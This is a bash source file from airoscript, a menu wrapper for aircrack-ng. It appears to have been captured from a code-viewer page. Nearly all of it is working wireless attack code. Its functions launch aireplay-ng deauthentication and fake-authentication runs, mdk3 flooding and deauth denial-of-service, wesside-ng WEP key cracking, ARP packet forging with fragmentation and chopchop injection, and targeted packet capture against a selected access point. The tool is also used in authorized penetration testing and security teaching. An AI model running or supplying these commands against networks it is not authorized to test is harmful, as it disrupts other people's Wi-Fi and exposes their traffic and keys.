📄 airoscfunc_screen.sh
字号:
$CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -D -RR -X screen $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -X at "*" stuff "$AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC -c $FAKE_MAC $WIFI" }# I suppose all these are part of this option(Others:7): # 1. function inject_test { $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -D -RR -X screen $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -X at "*" stuff "$AIREPLAY $WIFI --test" & menufonction } function mdkpain { $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -D -RR -X screen $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -X at "*" stuff " $MDK3 $WIFI d" & choosemdk } function mdktargetedpain { $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -D -RR -X screen $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -X at "*" stuff "$MDK3 $WIFI p -b a -c $Host_CHAN -t $Host_MAC" & choosemdk } function mdkauth { $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -D -RR -X screen $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -X at "*" stuff "$MDK3 $WIFI a" & choosemdk } function wesside { rm -rf prga.log rm -rf wep.cap rm -rf key.log $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -D -RR -X screen $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -X at "*" stuff "$WESSIDE -i $WIFI" & choosewesside } function wessidetarget { rm -rf prga.log rm -rf wep.cap rm -rf key.log $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -D -RR -X screen $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -X at "*" stuff "$WESSIDE -v $Host_MAC -i $WIFI" & choosewesside } function wessidetargetmaxer { rm -rf prga.log rm -rf wep.cap rm -rf key.log $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -D -RR -X screen $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -X at "*" stuff "$EXECFLAG $WESSIDE -v $Host_MAC -k 1 -i $WIFI" & choosewesside } function wessidetargetpoor { rm -rf prga.log rm -rf wep.cap rm -rf key.log $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -D -RR -X screen $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -X at "*" stuff "$WESSIDE -v $Host_MAC -k 3 -i $WIFI" & choosewesside } function wessidenewtarget { rm -rf prga.log rm -rf wep.cap rm -rf key.log ap_array=`cat $DUMP_PATH/dump-01.csv | grep -a -n Station | awk -F : '{print $1}'` head -n $ap_array $DUMP_PATH/dump-01.csv &> $DUMP_PATH/dump-02.csv clear echo -e "`gettext\" Detected Access point list\"`" echo "" echo " # MAC CHAN SECU POWER #CHAR SSID" echo "" i=0 while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do longueur=${#MAC} if [ $longueur -ge 17 ]; then i=$(($i+1)) echo -e " "$i")\t"$MAC"\t"$CHANNEL"\t"$PRIVACY"\t"$POWER"\t"$IDLENGTH"\t"$ESSID aidlenght=$IDLENGTH assid[$i]=$ESSID achannel[$i]=$CHANNEL amac[$i]=$MAC aprivacy[$i]=$PRIVACY aspeed[$i]=$SPEED fi done < $DUMP_PATH/dump-02.csv echo "" echo -e "`gettext \" Select target \"`" read choice idlenght=${aidlenght[$choice]} ssid=${assid[$choice]} channel=${achannel[$choice]} mac=${amac[$choice]} privacy=${aprivacy[$choice]} speed=${aspeed[$choice]} Host_IDL=$idlength Host_SPEED=$speed Host_ENC=$privacy Host_MAC=$mac Host_CHAN=$channel acouper=${#ssid} fin=$(($acouper-idlength)) Host_SSID=${ssid:1:fin} $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -D -RR -X screen $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -X at "*" stuff "$WESSIDE -v $Host_MAC -i $WIFI" & choosewesside } function fragnoclientend { if [ "$Host_MAC" = "" ] then clear echo `gettext 'ERROR: You must select a target first'` else $ARPFORGE -0 -a $Host_MAC -h $FAKE_MAC -k $Client_IP -l $Host_IP -y fragment-*.xor -w $DUMP_PATH/frag_$Host_MAC.cap $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -D -RR -X screen $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -X at "*" stuff " $AIREPLAY -2 -r $DUMP_PATH/frag_$Host_MAC.cap -h $FAKE_MAC -x $INJECTRATE $WIFI" & menufonction fi } function fragmentationattackend { if [ "$Host_MAC" = "" ] then clear echo `gettext 'ERROR: You must select a target first' ` else $ARPFORGE -0 -a $Host_MAC -h $Client_MAC -k $Client_IP -l $Host_IP -y fragment-*.xor -w $DUMP_PATH/frag_$Host_MAC.cap $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -D -RR -X screen $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -X at "*" stuff "$AIREPLAY -2 -r $DUMP_PATH/frag_$Host_MAC.cap -h $Client_MAC -x $INJECTRATE $WIFI" & menufonction fi } function chopchopend { if [ "$Host_MAC" = "" ] then clear echo `gettext 'ERROR: You must select a target first' ` else $ARPFORGE -0 -a $Host_MAC -h $Client_MAC -k $Client_IP -l $Host_IP -y fragment-*.xor -w $DUMP_PATH/frag_$Host_MAC.cap rm -rf $DUMP_PATH/chopchop_$Host_MAC* $ARPFORGE -0 -a $Host_MAC -h $FAKE_MAC -k $Client_IP -l $Host_IP -w $DUMP_PATH/chopchop_$Host_MAC.cap -y *.xor $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -D -RR -X screen $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -X at "*" stuff "$AIREPLAY --interactive -r $DUMP_PATH/chopchop_$Host_MAC.cap -h $FAKE_MAC -x $INJECTRATE $WIFI" & menufonction fi } function chopchopclientend { if [ "$Host_MAC" = "" ] then clear echo `gettext 'ERROR: You must select a target first' ` else $ARPFORGE -0 -a $Host_MAC -h $Client_MAC -k $Client_IP -l $Host_IP -y fragment-*.xor -w $DUMP_PATH/frag_$Host_MAC.cap rm -rf $DUMP_PATH/chopchop_$Host_MAC* $ARPFORGE -0 -a $Host_MAC -h $Client_MAC -k $Client_IP -l $Host_IP -w $DUMP_PATH/chopchop_$Host_MAC.cap -y *.xor $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -D -RR -X screen $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -X at "*" stuff " $AIREPLAY --interactive -r $DUMP_PATH/chopchop_$Host_MAC.cap -h $Client_MAC -x $INJECTRATE $WIFI" & menufonction fi } function capture { rm -rf $DUMP_PATH/$Host_MAC* $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -D -RR -X screen $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -X at "*" stuff " $AIRODUMP --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI " } function fakeauth { $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -D -RR -X screen $CDCMD screen -S airoscript -c /usr/share/airoscript/screenrc -X at "*" stuff "$AIREPLAY --fakeauth $AUTHDELAY -q $KEEPALIVE -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $WIFI" } function menufonction { echo "Fake function to return to menu within screen, deleted everyting since this part should not be seen by user)" clear }
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -